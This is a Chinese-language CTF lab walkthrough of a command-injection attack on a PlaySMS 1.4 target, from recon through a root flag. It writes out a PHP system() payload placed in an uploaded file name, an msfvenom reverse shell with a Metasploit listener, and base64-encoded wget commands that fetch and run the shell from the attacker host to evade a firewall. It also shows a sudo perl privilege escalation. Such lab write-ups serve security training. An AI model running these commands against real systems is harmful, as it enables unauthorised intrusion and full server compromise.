CTF实验:web安全命令注入
信息探测
扫描主机服务信息以及服务版本
– nmap -sV 靶场IP地址
快速扫描主机全部信息
– nmap -T4 -A -v 靶场IP地址
探测目录信息
– nikto -host http://靶场IP地址:端口
– dirb http://靶场IP地址:端口
可利用信息
– robots.txt
– nothing
– secure
– backup.zip
对于每一个可以看到的信息 都要查看,比如某个文件、某个目录;
脑洞一定要大
找到一些敏感页面
404界面,有点不一样,看看源代码
是一些密码,可能后面会用到
又可下载的文件,下载下来
需要密码,那么试试之前的那些密码,成功解压
用file back-cred看看这是个什么文件,发现是text
查看它
知道了用户名touhid,并且发现了一个url,打开它
是个登陆页面,用之前的用户名和密码尝试登录
登陆成功
发现是playSMS
登录-利用exploit-db
利用挖掘到的用户名和密码登陆系统,然后对系统是否使用某种CMS、SMS等进行查看。
利用现成的EXP进行渗透。
渗透测试技巧
– searchsploit 对应的系统
– searchsploit PlaySMS 1.4
https://www.exploit-db.com/exploits/42003/,这个网站也能搜漏洞
查看可利用的漏洞
cat 路径
可以直接谷歌翻译看什么意思,大意就是可以上传任意文件没有限制,存在命令注入漏洞
还给出了相应的上传页面
打开它
发现可以上传csv文件
那就新建一个csv文件,touch 1.csv在桌面上
burpsuite
使用burpsuit截获数据包,发送到repeater对其进行修改
利用漏洞描述中给的提示,<?php system('');die(); ?>.php
send发送,看看回复
发现是linux系统
继续查看
id是www-date
准备shell
可以上传一个shell进行渗透
启用metasploit监听
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.106
msf exploit(handler) > set lport 4444
msf exploit(handler) > run
制作shell
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.106 lport=4444 -f elf > /var/www/html/s
然后开启apache2,service apache2 start/status
绕过防火墙 上传shell
因为要绕过防火墙,用base64加密
利用 base64绕过防火墙检测
– echo ‘wget http://攻击机IP地址/s -O /tmp/a’ | base64
– echo ‘chmod 777 /tmp/a’ | base64
– echo ‘/tmp/a’ | base64
再利用上传漏洞
因为用base64加密,所以要解密,
成功
想办法提权
提升权限、获取Flag
登录服务器之后,反弹的shell的用户是www-data。并不具备root权限。
使用 sudo -l 查看www-data用户的sudo权限;
根据提示 执行以下命令(现实渗透中,肯定存在这样的问题。程序员为了方便,便设置了不需要密码就可以执行sudo的操作)
– sudo perl -e “exec ‘/bin/sh’”
– bash -i
查看flag
总结
信息收集一定要充分,根据题目提示来逐步进行渗透测试;
对于web系统,一定要注意利用现成的EXP。
路径里开头一定要加/ 复制命令时不要把空格也复制进去